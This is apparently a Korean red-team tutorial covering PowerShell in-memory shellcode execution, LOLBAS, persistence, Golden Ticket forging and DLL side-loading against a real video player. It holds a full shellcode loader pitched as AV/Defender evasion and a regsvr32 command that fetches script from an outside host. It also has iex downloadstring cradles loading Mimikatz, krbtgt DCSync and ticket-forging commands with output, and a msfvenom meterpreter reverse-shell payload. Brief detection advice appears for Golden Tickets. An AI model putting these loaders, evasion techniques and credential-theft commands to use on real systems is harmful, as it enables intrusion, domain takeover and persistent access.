결국 `$fPointer = LookUpfunction Kernel32.dll VirtualAlloc` 과 같은 파워쉘 코드를 이용하면 `VirtualAlloc` 의 위치를 가르키는 함수 포인터를 생성할 수 있게 된다.

함수 포인터가 있다고 해서 그것을 무작정 사용할 수는 없다. 함수 포인터가 가르키는 메모리는 어떻게 읽어야하는가? 몇개의 argument 가 있고, 어떤 타입의 argument 들이 있는가? 리턴하는 데이터 타입은? 에 대한 설명을 기반으로 함수 포인터를 실행해야 하는데, C#과 파워쉘에서는 이를 `Delegate` 을 통해서 해결한다.

다음은 파워쉘에서 Delegate 을 만들고 그것을 기반으로 위에서 받아온 함수 포인터를 실행하는 코드다. 다이내믹 어셈블리, 모듈, 타입, 프로토타입, 매써드 등을 만든 뒤 DelegateType을 반환한다.

```powershell
# 함수 시그니쳐와 반환값을 입력값으로 받고, DelegateType을 반환함. 
function getDelegateType{
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule',$false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate])
    $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime,Managed')
    $type.DefineMethod('Invoke','Public, HideBySig, NewSlot, Virtual',$delType, $func).SetImplementationFlags('Runtime,Managed')
    return $type.CreateType()
}
```

이 `getDelegateType` 함수는 다음과 같이 쓴다.

```powershell
$pVirtualAlloc = LookUpFunc "kernel32.dll" "VirtualAlloc" 
$dtVirtualAlloc = getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pVitualAlloc, $dtVirtualAlloc)
```

이를 기반으로 위 `Add-Type` 예시에서 만들었던 메시지 박스 쉘코드를 실행하는 파워쉘 페이로드를 만들면 다음과 같다.

```powershell
# All credit to https://mez0.cc/posts/cobaltstrike-powershell-exec/
function LookUpFunc {
    Param($module, $funcName)

    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

    $GetProcAddress = $assem.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))

    return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($assem.GetMethod('GetModuleHandle')).Invoke($null, @($module)))), $funcName))
}

# All credit to https://depthsecurity.com/blog/obfuscating-malicious-macro-enabled-word-docs
function getDelegateType{
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule',$false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate])
    $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime,Managed')
    $type.DefineMethod('Invoke','Public, HideBySig, NewSlot, Virtual',$delType, $func).SetImplementationFlags('Runtime,Managed')
    return $type.CreateType()
}

[Byte[]] $buf = 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x3e,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x6f,0x48,0x1,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x3e,0x41,0x8b,0xc,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x3e,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,0x0,0x0,0x0,0x0,0x3e,0x48,0x8d,0x95,0xfe,0x0,0x0,0x0,0x3e,0x4c,0x8d,0x85,0xf,0x1,0x0,0x0,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x7,0xff,0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x73,0x74,0x61,0x67,0x65,0x30,0x20,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x0,0x63,0x68,0x6f,0x69,0x20,0x72,0x65,0x64,0x74,0x65,0x61,0x6d,0x20,0x70,0x6c,0x61,0x79,0x62,0x6f,0x6f,0x6b,0x0
$pAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookUpFunc Kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $pAlloc, $buf.Length)
$pThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookUpFunc Kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $pAlloc, [IntPtr]::Zero, 0, [IntPtr]::Zero)
```

위 Dynamic Method 방법의 경우 C# 이 컴파일이 되는 것이 아니기 때문에 디스크상의 임시 파일이 쓰여질 일도 없다. 따라서 기본적인 AV나 디펜더를 우회하는데 좀 더 유리하다.

### 레퍼런스

{% embed url="<https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-1/>" %}

{% embed url="<https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-2/>" %}

{% embed url="<https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-3/>" %}

{% embed url="<https://mez0.cc/posts/cobaltstrike-powershell-exec/>" %}

{% embed url="<https://depthsecurity.com/blog/obfuscating-malicious-macro-enabled-word-docs>" %}


# LOLBAS

T1218

LOLBAS (Living Off the Land Binaries, Scripts, and Libraries) 와 GTFOBins는 윈도우/리눅스 운영체제에 기본적으로 탑재되어 있는 바이너리, 스크립트, 그리고 라이브러리들이 어떻게 다양한 공격에 사용될 수 있는지를 모아놓은 프로젝트다.

이 개념은 새로운 것이 아니라 공격자들이 이미 운영체제에 있는 바이너리, 스크립트, 그리고 라이브러리 등을 이용해 공격하는 TTP 자체를 LOLBINS 공격이라고도 부른다. 하지만 MITRE ATTACK에 공식적으로 등재되어 있는 TTP 이름은 `System Binary Proxy Execution` - 시스템 바이너리 프록시 실행이다.

예를 들어 `regsvr32.exe` 는 윈도우2000 이후 모든 윈도우에 깔려있는 프로그램 중 하나다. 원래는 DLL과 ActiveX를 등록하거나 등록해지하는데 사용되는 프로그램이다. 하지만 공격자들은 이를 악용해

```
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
```

와 같은 형태로 외부 호스트에서 `.sct` 파일을 불러온 뒤 안에 내장된 JScript나 VBScript를 실행시킬 수 있다.

### 장점

공격자의 입장에서 LOLBAS/GTFOBins를 사용하는 것은 다음과 같은 장점이 있다.

* 운영체제에 기본적으로 설치되어 있기 때문에 같은 운영체제 (\*nix, windows, macos) 를 사용한다면 바이너리가 무조건적으로 존재할 확률이 높다.
* 윈도우 기준 바이너리 PE Authenticode Signature가 마이크로소프트사 앞으로 사인되어 있기 때문에 악성코드 실행 탐지룰을 피하기 쉽다.
* 자주 사용되는 바이너리/스크립트/라이브러리라면 로그룰이나 탐지룰이 안만들어졌을 확률이 높다.
* 어플리케이션 화이트리스트를 우회할 수 있다.

물론 위의 장점은 2022년도 기준으로 거의 없어지기는 했다. LOLBAS/GTFOBins 프로젝트가 운영되며 다양한 기본 프로그램들이 악용될 수 있다는 사실이 많이 퍼졌고, 탐지룰 또한 많이 만들어졌기 때문이다.

LOLBAS/GTFOBins 프로젝트가 운영되기 전까지 블루팀들은 이 모든 기본 바이너리 파일들이 어떻게 악용되는지 몰랐었다. 공격자들은 수십, 수백, 수천가지의 기본 프로그램들 중 하나를 골라서 악용할 수 있었고, 이는 대부분 탐지룰을 피해가는데 큰 역할을 했다.

### 이 페이지에서는

LOLBAS와 GTFOBINS들의 숫자가 너무 많기 때문에 이 페이지에서는 윈도우 타겟을 공격할 때 자주 이용되는 LOLBAS 프로그램들에 대해서 알아본다.


# Native API - TODO


# 개념

지속성 (Persistence) (공격) 단계는 공격자가 장악한 타겟에 계속적으로 접근하기 위해서 대상을 변형하거나 악성코드를 설치/실행하는 단계다. 애써 몇 주 동안 OSINT, 초기 침투, 정보 수집, 실행 단계까지 모두 거쳐 피싱 공격이 성공했는데, 1시간 뒤에 피싱을 당했던 김인턴이 컴퓨터를 끄고 퇴근한다면 여태까지 이뤘던 모든 공격이 물거품으로 돌아갈 것이다. 이처럼 재부팅, 설정 변화, 로그오프 등의 변수에도 계속 공격자가 호스트에 접근할 수 있도록 만드는 것이 지속성 공격 단계다.

지속성 공격은 호스트 지속성 공격과 네트워크 지속성 공격으로 나뉠 수 있다. 물론 액티브 디렉토리기반의 네트워크 지속성 공격은 호스트 지속성 공격으로 이어지기도 한다. 많은 방법이 있지만, 자주 사용되는 지속성 공격은 다음과 같다:

* 유저 정보 조작
* 작업 스케쥴러 및 Cronjob 생성
* 부팅 혹은 로그인 스크립트 조작/생성
* Startup 폴더
* 서비스 조작/생성
* AD - 골든 티켓
* AD - 실버 티켓
* AD - 스켈레톤 키
* AD - GPO 조작 및 배포

이외에도 수십가지가 더 있겠지만, 실제로 안전하게 사용할 수 있는 지속성 공격들은 위와 같다. 모의해킹일을 하다가 클라이언트의 호스트에 커널 룻킷을 설치하다 프로덕션 데이터베이스를 크래시 해 고소 당하기 싫다면, 최대한 안전한 지속성 공격을 골라 실행해야 한다.

이 섹션 에서는 자주 사용되고 안전한 지속성 공격들에 대해서 알아본다.


# 골든 티켓 (Golden Ticket)

골든 티켓은 공격자가 임의로 높은 권한 유저의 TGT (Ticket Granting Ticket) 를 KDC를 통하지 않고 만들어내는 액티브 디렉토리 지속성 공격이다. 지속성 공격이기 때문에 도메인 어드민이나 KRBTGT 유저를 장악한 뒤 진행한다. 골든 티켓 공격의 개념을 이해하려면 커버로스 인증에 대해 알고 있어야한다 - 이에 관련해서는 이 [페이지에서 서술](/credential-access/kerberos)한다.

커버로스의 TGT는 TGS를 얻기 위해 필요하다. TGT는 커버로스의 인증 첫 2개 단계인 AS-REQ 와 AS-REP을 통해서 만들어진다.

1. **AS-REQ:** 유저는 현재 타임스탬프를 자신의 비밀번호 NT 해시를 이용해 암호화한 뒤, 자신의 유저 이름과 함께 KDC에게 보낸다.
2. **AS-REP:** KDC는 받은 요청을 갖고 NTDS.dit 파일에 있는 유저의 NT 해시로 요청을 복호화 시도한 뒤, 이것이 복호화가 되면 유저가 올바른 비밀번호를 갖고 있다고 판단, TGT를 발급해준다. 이때 이 TGT는 액티브 디렉토리와 커버로스의 기본 유저인 `KRBTGT` 라는 유저의 비밀번호 해시로 암호화 되어 있다.
3. 유저는 이 TGT를 가지고 다른 서비스에 연결할 수 있는 나머지 커버로스 인증 4단계를 가지고 TGS를 발급 받아 사용한다.

TGT를 KDC와의 `AS-REQ, AS-REP` 인증 통신 없이 스스로 만들 수 있을까? 놀랍게도 가능하다. 단, 도메인 어드민 급의 높은 권한을 갖고 있어야한다 (그래서 지속성 공격이다).

1. 도메인 이름
2. 도메인 SID
3. KRBTGT의 비밀번호 NT 해시 (높은 권한 필요)
4. TGT를 발급 받을 유저 이름
5. TGT를 발급 받을 유저의 RID
6. TGT를 발급 받을 유저의 그룹 리스트 (아무거나 써도 된다)

도메인을 장악한 공격자는 이 6가지를 모두 구할 수 있다. 이제 공격자는 KDC를 거치지 않고 스스로 TGT를 만들어낼 수 있다. 공격자가 스스로 만들어낸 TGT는...

1. 도메인 어드민의 최고 권한을 갖고 있고
2. 모든 서비스와 호스트에 접근할 수 있으며
3. 최고 10년동안 지속된다.

공격자는 앞으로 10년 동안 도메인 내 존재하는 모든 호스트와 서비스에 접근할 수 있는 도메인 관리자 권한의 TGT를 만들어냈다. 이것이 바로 골든 티켓 공격이다.

### 실습

{% tabs %}
{% tab title="리눅스" %}

1. 도메인 SID를 알아낸다.

```
└─# impacket-lookupsid choi.local/Administrator:'Password123!'@dc01.choi.local -domain-sids        
Impacket v0.10.1.dev1+20220628.224634.5122bcf - Copyright 2022 SecureAuth Corporation

[*] Brute forcing SIDs at dc01.choi.local
[*] StringBinding ncacn_np:dc01.choi.local[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-915960992-2308152741-2736258720
```

2\. DC Sync를 이용해 KRBTGT 유저의 NT 해시를 알아낸다. (NetBIOS 도메인 이름 규격 사용)

```
└─# impacket-secretsdump CHOI/Administrator:'Password123!'@dc01.choi.local -just-dc-user CHOI\\krbtgt      
Impacket v0.10.1.dev1+20220628.224634.5122bcf - Copyright 2022 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a8f31b642e60b362cc17588df4c5b1e2:::
```

3\. 알아낸 정보를 바탕으로 골든티켓을 생성한다. NT 해시는 KRBTGT의 것을 사용한다.

```
└─# impacket-ticketer Administrator -domain choi.local -domain-sid S-1-5-21-915960992-2308152741-2736258720 -nthash a8f31b642e60b362cc17588df4c5b1e2
```

4\. 티켓을 로드한 후 사용한다.

```
export KRB5CCNAME=/root/blog/Administrator.ccache

└─# impacket-secretsdump -k dc01.choi.local                                                                                                                                                            
Impacket v0.10.1.dev1+20220628.224634.5122bcf - Copyright 2022 SecureAuth Corporation
                                                                                                                                                                                                       
[*] Target system bootKey: 0x37b7fe1178c20af620c25feb531fbe0d                         
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)                          
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::                                                                                                                 
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
< ... >
```

{% endtab %}

{% tab title="윈도우" %}
윈도우에서는 powerview와 Invoke-mimikatz를 이용해서 진행한다.

(0. AMSI 우회를 진행한다. )

1. Powerview를 이용해 도메인 SID를 알아낸다.

```
iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/situational_awareness/network/powerview.ps1')
Get-DomainSID -Domain choi.local

S-1-5-21-915960992-2308152741-2736258720
```

2\. KRBTGT의 NT 해시를 알아낸다.

```
iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:choi.local /user:krbtgt@choi.local"'

< ... >
Credentials:
  Hash NTLM: a8f31b642e60b362cc17588df4c5b1e2
    ntlm- 0: a8f31b642e60b362cc17588df4c5b1e2
    lm  - 0: 246a4fe4221c6c2f69dddac89af411d1
```

3\. Domain SID 와 KRBTGT의 NT 해시를 가지고 골든 티켓을 만든 뒤, Pass-the-Ticket 을 이용해 골든 티켓이 로드된 파워쉘 세션을 생성한다.

```
Invoke-Mimikatz -Command '"kerberos::golden /admin:Administrator /domain:choi.local /id:500 /sid:S-1-5-21-915960992-2308152741-2736258720 /krbtgt:a8f31b642e60b362cc17588df4c5b1e2"'

Invoke-Mimikatz -Command '"kerberos::ptt <티켓-파일>"'
.\Rubeus.exe ptt /ticket:<티켓-파일>
```

이렇게 하면 현재 디렉토리에 `ticket.kirbi` 라는 골든티켓이 생성된다. 이를 mimikatz 나 Rubeus 등을 이용해 사용할 수 있다.

번거롭게 파일로 저장하기 싫다면 Mimikatz를 이용해서 골든 티켓이 들어가 있는 새로운 파워쉘 세션을 만들 수도 있다. 이를 위해서 Pass-the-Ticket 플래그를 추가해준다.

```
Invoke-Mimikatz -Command '"kerberos::golden /admin:Administrator /domain:choi.local /id:500 /sid:S-1-5-21-915960992-2308152741-2736258720 /krbtgt:a8f31b642e60b362cc17588df4c5b1e2 /ptt"'
Hostname: wkstn01.choi.local / S-1-5-21-915960992-2308152741-2736258720

< ... >
mimikatz(powershell) # kerberos::golden /admin:Administrator /domain:choi.local /id:500 /sid:S-1-5-21-915960992-2308152741-2736258720 /krbtgt:a8f31b642e60b362cc17588df4c5b1e2 /ptt
User      : Administrator
Domain    : choi.local (CHOI)
SID       : S-1-5-21-915960992-2308152741-2736258720
User Id   : 500
Groups Id : *513 512 520 518 519
ServiceKey: a8f31b642e60b362cc17588df4c5b1e2 - rc4_hmac_nt
Lifetime  : 7/3/2022 5:39:54 PM ; 6/30/2032 5:39:54 PM ; 6/30/2032 5:39:54 PM
-> Ticket : ** Pass The Ticket **

Golden ticket for 'Administrator @ choi.local' successfully submitted for current session
```

도메인 관리자인 Administrator의 TGT가 만들어졌고, 이는 "6/30/2032 5:39:54 PM" 까지 지속되는 10년짜리 골든 티켓이다. 이 TGT는 현재 파워쉘 세션에 로드되었다.
{% endtab %}
{% endtabs %}

### 대응 방안

* 이미 만들어진 골든 티켓은 도메인 내 KRBTGT 계정의 비밀번호가 2번 바뀌면 더 이상 사용할 수 없게 된다. 단, KRBTGT 계정의 비밀번호를 바꾸면 다른 서비스들도 재시작이 필요할 수도 있기 때문에 프로덕션에서 진행할 것이라면 비즈니스 시간이 아닌 시간에 업데이트 하는 것이 좋다. 또한, 2번 바꿀 때 어느정도 텀을 두고 바꾸는 것이 좋다. 곧바로 KRBTGT의 비밀번호를 두번 연달아 바꾸면 현존하는 세션, 티켓, 그리고 DC Sync 기능이 먹통이 될 수 있다.

다음의 탐지 방안은 많은 숫자의 로그를 생성할 수 있으니 프로덕션에 적용하기 전 충분한 테스트를 거쳐야한다.

* `Default Domain Controllers Policy/Computer Configuration/Policies/Windows Settings/Advanced Audit Policy Configuration/Account Logon/Audit Kerberos Authentication Service` 에서 Success 로깅 설정을 한다.
  * 이벤트 ID - 4768 - Authentication Ticket was Requested 를 수집한다.
* `Default Domain Controllers Policy/Computer Configuration/Policies/Windows Settings/Security Settings/Advanced Audit Policy Configuration/Audit Policies/Account Logon/Audit Kerberos Service Ticket Operations - Success`
  * 이벤트 ID - 4769 - Kerberos Service Ticket was Granted 를 수집한다.
* 만약 4768이 없는 4769 이벤트가 존재한다면, 알람을 울린다 - TGT 요청 없이 TGS 만 요청한 것이기 때문에 이미 골든 티켓을 공격자가 가지고 있다는 반증이 될 수 있다.

골든 티켓 공격은 탐지하기 어렵기 때문에 최대한 KRBTGT 비밀번호를 바꾸며 피해를 최소화한다. 또한, 지속성 공격이기 때문에 애당초 도메인이 장악 당하지 않도록 다른 공격을 막는데 신경 쓰도록 한다.

### 레퍼런스

{% embed url="<https://adsecurity.org/?p=483>" %}

{% embed url="<https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it>" %}

{% embed url="<https://adsecurity.org/?p=1515>" %}


# DLL 사이드로딩 (DLL Side-Loading)

## 배경 - 윈도우 SxS 매니패스트

윈도우 운영체제의 실행파일들은 의존성 지옥(DLL Hell, Dependency Hell) 문제를 겪을 때가 있다. 실행파일이 DLL을 로드해야할 때, 어떤 이름의 DLL을, 어디서, 어떤 버전으로 로드를 해야할지 헷갈릴수 있다. 컴퓨터들마다 가지고 있는 DLL도 다르고, 다운 받아 놓은 DLL도 있을 수 있다. 같은 이름이지만 버전은 다른 DLL 또한 동시에 파일시스템에 존재할 수 있다.

[**SxS 어셈블리**](https://learn.microsoft.com/en-us/windows/win32/sbscs/about-side-by-side-assemblies-)는 위 문제를 해결하기 위해 실행파일이 로드할 DLL, 클래스, 타입 라이브러리 등을 묶어놓은 리소스들이다. 간단하게 생각하면 필요한 DLL을 모두 하나의 택배 상자에 넣어놓은 그런 개념이라고 볼 수 있다.

[**Windows Side-by-Side (SxS) Manifest**](https://learn.microsoft.com/en-us/windows/win32/sbscs/assembly-manifests) (윈도우 SxS 매니패스트) 파일은 위에서 언급된 SxS 어셈블리들을 명시적으로 기재해놓은 파일이다. 어플리케이션이 실행시 어떤 이름과 버전의 실행파일과 DLL을 로드해 사용할지를 XML 형태로 저장해놓은 파일이다.

이해를 돕기 위한 Windows SxS 매니패스트 예시는다음과 같다.

```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<!-- 매니패스트가 적용될 어플리케이션 지정 -->
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <assemblyIdentity
      version="1.0.0.0"
      processorArchitecture="x86"
      name="CompanyName.ProductName.ApplicationName"
      type="win32"/>
	
	<!-- 로드될 DLL의 버전, 아키텍쳐, 공개키 토큰 지정 -->
	<dependency>
    <dependentAssembly>
      <assemblyIdentity
          type="win32"
          name="Microsoft.Windows.Common-Controls"
          version="6.0.0.0"
          processorArchitecture="x86"
          publicKeyToken="6595b64144ccf1df"
          language="*"/>
    </dependentAssembly>
  </dependency>
</assembly>
```

## DLL Sideloading (DLL 사이드로딩)

DLL 사이드로딩은 특정 어플리케이션/실행파일의 윈도우 SxS 매니패스트 파일이 로드될 SxS 어셈블리(DLL인 경우가 많다)의 이름, 버전, 공개키 토큰 등을 명시적으로 기재해놓지 않은 경우, 이름만 같은 공격자의 가짜 DLL을 만들어 정상 DLL 말고 공격자 DLL을 실행파일에 로드하는 공격이다.

SxS 매니패스트 파일이 명시적으로 DLL의 이름, 버전, 공개키 토큰등을 기재해놓지 않은 경우, 윈도우 운영체제의 로더는 프로세스 생성/시작 시 운영체제의 DLL Search Order에 따라서 DLL을 로드하게 된다. 이때 DLL Hijacking과 비슷하게, 가장 최상단 우선순위에 있는 `실행파일과 동일한 디렉토리에 위치한 DLL` , 즉, 공격자의 DLL이 로드되게 된다. 원래라면 SxS 매니패스트 파일에 지정해놓은 DLL의 버전 종류와 코드 서명과 관련된 공개키 토큰이 다르기 때문에 로드가 거부되어야한다. 하지만 SxS 매니패스트 파일 자체가 없거나, 취약하게 만들어졌다면 별다른 문제없이 DLL이 로드된다.

DLL 사이드로딩에 취약한 윈도우 SxS 매니패스트 파일은 다음과 같이 생겼다.

```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <assemblyIdentity
      name="ApplicationName"
      processorArchitecture="*"
      version="1.0.0.0"
      type="win32"/>
  
  <!-- 취약한 의존성 명시의 예. DLL의 버전 및 공개키 토큰이 없음! -->
  <dependency>
    <dependentAssembly>
      <assemblyIdentity
          type="win32"
          name="SomeDLLtoLoad"
          processorArchitecture="*"/>
    </dependentAssembly>
  </dependency>
</assembly>
```

## 무기화&#x20;

공격자의 DLL이 로드된 후, 공격자는 원하는 방식으로 페이로드를 실행할 수 있다. `DLLMain`에서 실행하는 방법도 있지만, 이 경우 윈도우 로더의 Loader Lock 문제에 직면에 다양한 이유 때문에 페이로드 실행이 안되거나, deadlock 문제가 발생할 수 있다 - [링크](https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-best-practices#general-best-practices). 하지만, 레드팀의 에이전트를 실행하는 것이 아니라 간단한 페이로드를 1회성으로 실행할 때에는 큰 문제가 되지는 않는다.

1. `DLL_PROCESS_ATTACH`에서 쓰레드를 만들어 페이로드 실행
2. `DLL_PROCESS_ATTACH`에서 프로세스 인젝션을 통해 다른 프로세스에서 페이로드를 실행
3. 실행파일이 진짜 DLL의 exported 함수를 사용할때 해당 함수를 후킹해 페이로드 실행 후 진짜 DLL로 리다이렉트 처리

아래 스크린샷은 #1번의 예시이다.

![출처: https://www.flangvik.com/2019/07/24/Bypassing-AV-DLL-Side-Loading.html 를 기반으로 수정한 다이어그램](https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fgit-blob-a57434383275c1d2e3822ac420818e083fe4cdc6%2Fdllsideloading.drawio.png?alt=media)

### 실습

실습은 K사의 32비트 기반 동영상 플레이어 프로그램을 기반으로 진행한다. 이와 관련된 연구는 이미 [2019년도에 공개](https://github.com/mandiant/DueDLLigence)되었으며, DLL 사이드로딩은 제로데이가 아닌 윈도우의 기능을 이용하는 방법일 뿐임을 알린다. **심지어 마이크로소프트사에서는 이를 취약점으로 인정하지 않기 때문에 패치도 없다!** 연구자들이 발표한 특정 DLL의 사이드로딩은 패치가 되어 막혔지만, 다른 라이브러리를 사이드로딩해 이를 우회할 수 있다.

#### DLL 사이드로딩 정보 수집

먼저 ConsciousHacker의 [WFH툴](https://github.com/ConsciousHacker/WFH)을 이용해 PE바이너리가 어떤 라이브러리들을 로딩하는지, 그 라이브러리들 중 어떤 라이브러리가 사이드로딩이 가능한지 확인한다.

```
PS C:\opt\WFH> python .\wfh.py -t "C:\Program Files (x86)\DAUM\PotPlayer\PotPlayerMini.exe" -m dll
==================================================
Running Frida against C:\Program Files (x86)\DAUM\PotPlayer\PotPlayerMini.exe
--------------------------------------------------
        [+] Potential DllMain Sideloading: LoadLibraryW,LPCWSTR: C:\Program Files (x86)\DAUM\PotPlayer\PotPlayer.dll
        [-] Potential DllExport Sideloading: GetProcAddress,hModule : C:\Program Files (x86)\DAUM\PotPlayer\PotPlayer.dll, LPCSTR: PreprocessCmdLineExW
        < ... >
        [+] Potential DllMain Sideloading: LoadLibraryW,LPCWSTR: C:\Program Files (x86)\DAUM\PotPlayer\DaumCrashHandler.dll
        [-] Potential DllExport Sideloading: GetProcAddress,hModule : C:\Program Files (x86)\DAUM\PotPlayer\DaumCrashHandler.dll, LPCSTR: SetCrashHandler
        [-] Potential DllExport Sideloading: GetProcAddress,hModule : C:\Program Files (x86)\DAUM\PotPlayer\DaumCrashHandler.dll, LPCSTR: GetCrashHandler
        < ... >
```

이외에도 `DllMain` 과 `DllExport` 가 모두 사용 가능한 라이브러리들이 많이 나오지만, 일단 `PotPlayer.dll` 과 `DaumCrashHandler.dll` 에 주목한다. `PotPlayer.dll` 은 공개된 연구 이후 패치를 더해 사이드로딩이 막혔지만, `DaumCrashHandler.dll` 은 사이드로딩이 가능하다. 사이드로딩이 가능하다는 정보를 수집했으니 쉘코드와 프록시 DLL 생성 단계로 넘어간다.

#### 프록시 DLL 생성

DLL 생성 전, 공격에 사용될 쉘코드를 만든다. .NET 어셈블리를 donut 형태로 만들수도 있지만, 간단한 PoC를 위해 msfvenom을 이용해 meterpreter 쉘코드를 작성한다. 32비트 기반 프로그램과 DLL이기 때문에 쉘코드도 x86로 만든다.

```
msfvenom -p windows/meterpreter/reverse_https -f raw lhost=192.168.40.182 lport=443 -o meter-x86.bin
```

이후 DLL과 쉘코드를 한 디렉토리에 옮긴 뒤, FlangVik의 [SharpDLLProxy툴](https://github.com/Flangvik/SharpDllProxy)을 이용해 프로그램에 로드가될 공격자의 프록시 DLL을 생성한다.

```
# .\SharpDllProxy.exe --dll .\DaumCrashHandler.dll --payload .\meter-x86.bin

< ... > 

# ls


    Directory:
    C:\opt\SharpDllProxy\SharpDllProxy\bin\Debug\netcoreapp3.1\output_DaumCrashHandler


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          7/1/2022   6:35 PM           2444 DaumCrashHandler_pragma.c
-a----          7/1/2022   6:35 PM         131232 tmp4405.dll
```

그러면 DLL 1개와 `.c` 소스코드 1개가 생긴다. 이 `tmp4405.dll` 이라는 파일은 이름이 바뀐 원래 `DaumCrashHandler.dll` 파일이다. 프록시 DLL이 될 파일은 `DaumCrashHandler_pragma.c` 이며, VS나 MVSC, CMake 등을 이용해 컴파일 해서 DLL로 만들면 된다.

이제 준비된 파일들은 다음과 같다:

* PotPlayerMini.exe - 실제로 실행될 PE 바이너리
* tmp4405.dll - 원래 `DaumCrashHandler.dll` 파일. 이름만 바뀐 형태다.
